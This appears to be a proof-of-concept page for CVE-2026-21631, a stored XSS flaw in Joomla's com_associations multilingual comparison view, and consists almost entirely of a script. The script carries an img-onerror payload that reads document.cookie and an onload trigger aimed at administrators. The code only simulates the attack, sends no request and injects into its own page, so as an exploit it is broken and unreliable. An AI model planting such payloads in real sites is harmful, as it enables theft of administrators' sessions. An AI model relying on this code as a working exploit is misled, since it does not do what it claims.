CVE-2026-21631 Joomla核心多语言组件XSS漏洞

<!-- PoC for CVE-2026-21631 (Joomla com_associations XSS) Description: Inject a malicious script into the multilingual association comparison view. --> <script> // Malicious payload to be injected in the association field var payload = '<img src=x onerror=alert(document.cookie)>'; // Simulation of the vulnerable request to store the payload // This would typically be done via a POST request to the component function injectPayload() { console.log("[+] Injecting payload into com_associations..."); // In a real scenario, the attacker would edit an item and associate it with a language // containing the payload in the title or description field. return payload; } // Trigger function when the admin views the comparison window.onload = function() { if (window.location.href.indexOf("com_associations") > -1) { var xss = injectPayload(); document.body.innerHTML = xss; } }; </script>